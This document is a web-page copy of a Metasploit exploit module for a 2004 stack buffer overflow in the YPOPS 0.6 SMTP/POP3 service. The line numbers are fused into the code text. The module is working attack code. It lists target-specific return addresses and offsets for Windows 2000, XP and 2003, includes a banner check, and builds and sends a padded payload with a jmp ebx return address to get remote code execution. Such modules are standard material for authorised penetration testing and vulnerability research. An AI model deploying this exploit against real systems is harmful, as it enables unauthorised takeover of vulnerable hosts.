Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/smtp/ypops_overflow1.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Smtp910def initialize(info = {})11super(update_info(info,12'Name' => 'YPOPS 0.6 Buffer Overflow',13'Description' => %q{14This module exploits a stack buffer overflow in the YPOPS POP315service.1617This is a classic stack buffer overflow for YPOPS version 0.6.18Possibly Affected version 0.5, 0.4.5.1, 0.4.5. Eip point to19jmp ebx opcode in ws_32.dll20},21'Author' => [ 'acaro <acaro[at]jervus.it>' ],22'References' =>23[24[ 'CVE', '2004-1558'],25[ 'OSVDB', '10367'],26[ 'BID', '11256'],27[ 'URL', 'http://www.securiteam.com/windowsntfocus/5GP0M2KE0S.html'],28],29'Platform' => 'win',30'Privileged' => false,31'Payload' =>32{33'Space' => 1200,34'BadChars' => "\x00\x25",35'MinNops' => 106,36},37'Targets' =>38[39[ 'Windows 2000 SP0 Italian', { 'Ret' => 0x74fe6113, 'Offset' => 503 }, ],40[ 'Windows 2000 Advanced Server Italian SP4', { 'Ret' => 0x74fe16e2, 'Offset' => 503 }, ],41[ 'Windows 2000 Advanced Server SP3 English', { 'Ret' => 0x74fe22f3, 'Offset' => 503 }, ],42[ 'Windows 2000 SP0 English', { 'Ret' => 0x75036113, 'Offset' => 503 }, ],43[ 'Windows 2000 SP1 English', { 'Ret' => 0x750317b2, 'Offset' => 503 }, ],44[ 'Windows 2000 SP2 English', { 'Ret' => 0x7503435b, 'Offset' => 503 }, ],45[ 'Windows 2000 SP3 English', { 'Ret' => 0x750322f3, 'Offset' => 503 }, ],46[ 'Windows 2000 SP4 English', { 'Ret' => 0x750316e2, 'Offset' => 503 }, ],47[ 'Windows XP SP0-SP1 English', { 'Ret' => 0x71ab1636, 'Offset' => 503 }, ],48[ 'Windows XP SP2 English', { 'Ret' => 0x71ab773b, 'Offset' => 503 }, ],49[ 'Windows 2003 SP0 English', { 'Ret' => 0x71c04202, 'Offset' => 503 }, ],50[ 'Windows 2003 SP1 English', { 'Ret' => 0x71c05fb0, 'Offset' => 503 }, ],51],52'DisclosureDate' => '2004-09-27'))53end5455def check56connect57disconnect5859banner.gsub!(/\n/, '')6061if banner =~ /YahooPOPs! Simple Mail Transfer Service Ready/62vprint_status("Vulnerable SMTP server: #{banner}")63return Exploit::CheckCode::Detected64end6566vprint_status("Unknown SMTP server: #{banner}")67return Exploit::CheckCode::Safe68end6970def exploit71connect7273pattern =74rand_text_alpha(target['Offset'] - payload.encoded.length) +75payload.encoded +76[target.ret].pack('V') +77"\n"7879print_status("Trying #{target.name} using jmp ebx at #{"0x%.8x" % target.ret}")8081sock.put(pattern)8283handler84disconnect85end86end878889